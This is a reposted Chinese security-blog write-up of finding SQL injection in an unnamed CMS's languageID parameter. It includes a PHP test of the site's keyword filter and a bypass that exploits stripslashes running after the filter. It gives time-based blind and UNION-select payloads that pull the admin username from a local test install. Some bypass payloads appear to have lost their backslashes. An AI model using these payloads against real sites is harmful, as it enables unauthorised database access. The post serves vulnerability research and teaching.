某cms漏洞挖掘分析

admin 2024年5月17日21:53:45评论8 views字数 3636阅读12分7秒阅读模式

某cms漏洞挖掘分析,该系统代码简单,因此注入漏洞发现过程还是挺顺利的,就在index.php的文件中,结果绕过waf稍微有些曲折,特此记录一下学习过程。

某cms漏洞挖掘分析,该系统代码简单,因此注入漏洞发现过程还是挺顺利的,就在index.php的文件中,结果绕过waf稍微有些曲折,特此记录一下学习过程。

发现之旅

站点搭建过程没啥坑点,因此略过。使用的环境为PHP5.6+Apache2.4+MySQL5.7
使用phpstorm打来站点目录,从入口开始,看index.php文件

某cms漏洞挖掘分析

Templete目录下为模板文件,暂不看;优先看web_inc.php,还没翻几行,就发现存在疑似注入点=.=!

某cms漏洞挖掘分析

某cms漏洞挖掘分析

存在以上两处对$Language直接进行调用的点。当然,目前仅是疑似,还不知道变量是否可可控以及WAF拦截情况。
向上找到$Language的来源,发现原来是直接通过POST传进来的,感觉过程过于顺利了。但仔细看了看,发现对传递进来的值调用test_input()和verify_str()进行处理,存在一定的过滤。

某cms漏洞挖掘分析

继续跟进这两个函数到contorl.php文件。看看具体的实现代码,将他们翻译成自然语言就是:
verify_str()会将传进来的值进行正则匹配,当存在红框中的使用|分割的字符时,无论大小写(忽略大小写),都会退出代码执行,并打印Sorry

某cms漏洞挖掘分析

test_input()会对传进来的值使用一键三连,分别是去除两边空格、去除反斜杠、转移html特殊字符。这里我揉了揉眼睛,确实是stripslashes去除反斜杠而不是addslashes添加反斜杠。不知道这里为啥这样操作,算了,开发的意思,自有他的道理,反正肯定不是写错了。

某cms漏洞挖掘分析

某cms漏洞挖掘分析

(这里注意一下verify_str和test_input的调用顺序,后面要考)

开始爬坑

整理一下思路,准备开始爬坑,尝试绕过这两个函数。
限制还是比较多,无法使用常用的字符and``union``select``=``<``>``*以及单引号、空格等,但感觉是有机会的。
先分别构造0和1,发现没有任何回显与区别,这样就没办法进行布尔盲注。

某cms漏洞挖掘分析

某cms漏洞挖掘分析

之后尝试构造sleep()语句,进行时间盲注测试。结果并没有触发延迟,并且服务器返回了500错误。

某cms漏洞挖掘分析

暂未对apache请求超40s返回500进行调整,并利用它进行盲注测试,方便通过状态码筛选数据。
先构造判断数据库长度的语句,因为=被过滤,payload中使用like代替。

languageID=(0)or(if(length(database())like(1),sleep(2),0))

某cms漏洞挖掘分析

某cms漏洞挖掘分析

然后利用substr()对数据库名称进行分割,分别跑出对应的字符。因为过滤了单引号,因此这里在判断字符时使用了十六进制编码。(也可以使用ascii)

languageID=(0)or(if(substr(database(),1,1)like(0x73),sleep(2),0))

某cms漏洞挖掘分析

成功获得数据库名称

languageID=(0)or(if(database()like(0x73656d636d73),sleep(2),0))

某cms漏洞挖掘分析

查找发现包含web_inc.php的文件还是比较多的,因此理论上他们都会存在相同的注入问题。

某cms漏洞挖掘分析

以/Templete/default/Include/search.php为例,进行时间盲注测试。

某cms漏洞挖掘分析

成功触发与web_inc.php情况相同的延迟。

某cms漏洞挖掘分析

其他路径下的注入点就不再详细测试,感兴趣的小伙伴可以自行去尝试。

绕过verify_str()

上面的过程,虽然能证明存在sql注入,并能获得数据库库名等信息满足危害证明需要,但因为存在verify_str()函数过滤了unionselect=等字符,是无法进一步获得表中信息。难道只能到此为止吗?
此时,就要提到之前需要注意的verify_str()和test_input()的调用顺序。payload是先经过verify_str()过滤敏感字符,之后再通过test_input()去除两边空格、反斜杠、转译html特殊字符的。
因此可以利用test_input()可以去除反斜杠的功能,绕过verify_str()
编写测试代码证明这个想法:

<?php
function inject_check_sql($sql_str) {

return preg_match('/select|and|insert|=|%|<|between|update|'|*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
return 'Sorry,You do this is wrong! (.-.)';
}
return $str;
}
function test_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;
}
$test1 = 'select sleep(1)';
$test2 = 'select sleep(1)';
echo test_input(verify_str($test1));
echo '------------------';
echo test_input(verify_str($test2));
?>

某cms漏洞挖掘分析

还是以/Templete/default/Include/search.php为例,测试select是否可以成功绕过
先使用正常payload进行测试,verify_str()被拦截:

languageID=0%20or%20if((select%20user_admin%20from%20sc_user)like%200x41646d696e,sleep(0.01),sleep(0))

某cms漏洞挖掘分析

为select添加反斜杠绕过verify_str()拦截:
当从用户表中获取的用户名等于十六进制的Admin,等式成立,触发延时。

languageID=0%20or%20if((select%20user_admin%20from%20sc_user)like%200x41646d696e,sleep(0.01),sleep(0))

某cms漏洞挖掘分析

当从用户表中获取的用户名不等于十六进制的Admin,等式不成立,未触发延时。

某cms漏洞挖掘分析

尝试回显获得数据

可是时间盲注使用起来还是太麻烦了,正好也可以通过上述操作绕过union,那么就有通过联合查询的方式回显数据的可能
查看/Templete/default/Include/search.php源码寻找回显位置,找到tag_home字段位置存在回显

某cms漏洞挖掘分析

通过web_inc.php中的sql语句确定查询的数据库,在sc_lable表中找对应的字段,为第2列

某cms漏洞挖掘分析

某cms漏洞挖掘分析

构造payload进行联合查询,字段数为40个,回显位在第2个,成功获得回显数据。

POST /Templete/default/Include/search.php HTTP/1.1
Host: mylocal:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
Cookie: XDEBUG_SESSION11=10744
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

languageID=-1%20union%20select%201,user_admin,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40%20from%20sc_user

某cms漏洞挖掘分析

原文地址:https://forum.butian.net/share/2428

原文始发于微信公众号(白帽子左一):某cms漏洞挖掘分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日21:53:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某cms漏洞挖掘分析https://cn-sec.com/archives/2045626.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息